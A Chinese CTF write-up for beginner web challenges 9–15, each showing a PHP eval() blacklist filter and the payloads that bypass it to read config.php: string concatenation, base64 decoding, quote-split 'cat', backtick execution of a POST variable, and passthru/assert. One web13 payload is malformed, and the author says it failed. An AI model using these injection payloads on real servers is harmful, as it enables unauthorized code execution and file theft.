ctf萌新 web9-15
ctf萌新
web9
<?php
# flag in config.php
include("config.php");//提示要查看这个文件
if(isset($_GET['c'])){
$c = $_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
//一开始理解错了,最后发现是c中需要包含system|exec|highlight才可以被执行
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
//这个函数可以展示文件中的所有信息
}
?>
传参
?c=highlight_file('config.php');
web10
if(!preg_match("/system|exec|highlight/i",$c)){
//和上一题不同的是这次c中不能包含这几个函数
eval($c);
}else{
die("cmd error");
}
1.1重新定义几个变量,拼接出我们想要的函数即可(‘$a.$b’表示把a和b两个字符串接起来)
?c=$a=’high‘;$b=’light_file‘;$q=$a.$b;$q(‘config.php’);
1.2题目是针对GET方式的限制,所以也可以先用GET传
?c=echo `$_POST[1]`?> //打印出post方式传入的变量1
再用POST传
1=xxx
//xxx为需要用到的指令,比如’cat confif.php'
web11
这题比上题多ban了一个‘cat’,用上一题的payload也能过
如果用的是system函数,代替‘cat’的可以是tac、more、less、head、tail、nl、sed、sort、uniq
也可以加单引号‘ ’ 双引号“” 反斜杠/来绕过
例如:‘ca“”t config.php’
“ca''t config.php"
‘ca/t config.php’
web12
if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
'.'被ban了,可以用编码后再解码的方法绕过
例如base64编码绕过
c=
$q =base64_decode('aGlnaGxpZ2h0X2ZpbGU=');
//highlight_file
$w=base64_decode('Y29uZmlnLnBocA==');
//config.php
$q($w);//完整函数语句
web13
比上一题多ban了";",如果想闭合语句可以改用?>,那payload就只能写成一句话
c=base64_decode(aGlnaGxpZ2h0X2ZpbGUoY29uZmlnLnBocCk')?>
//把highlight_file('config.php')进行base64编码
(但这个payload不知道为什么行不通,一开始觉得是字符串没有被当作php执行的原因,但是加了assert()还是行不通)
最后是看了其他师傅的wp,用的是passthru函数
c=passthru("ca''t `ls`")?>
c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>
web14、15
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
eval($c);
//括号被ban了,所以上面的payload行不通了
都可以用web10中提到的POST传参绕过
先用GET传入:
?c=echo `$_POST[1]`?>
POST传入:
1=cat config.php
浙公网安备 33010602011771号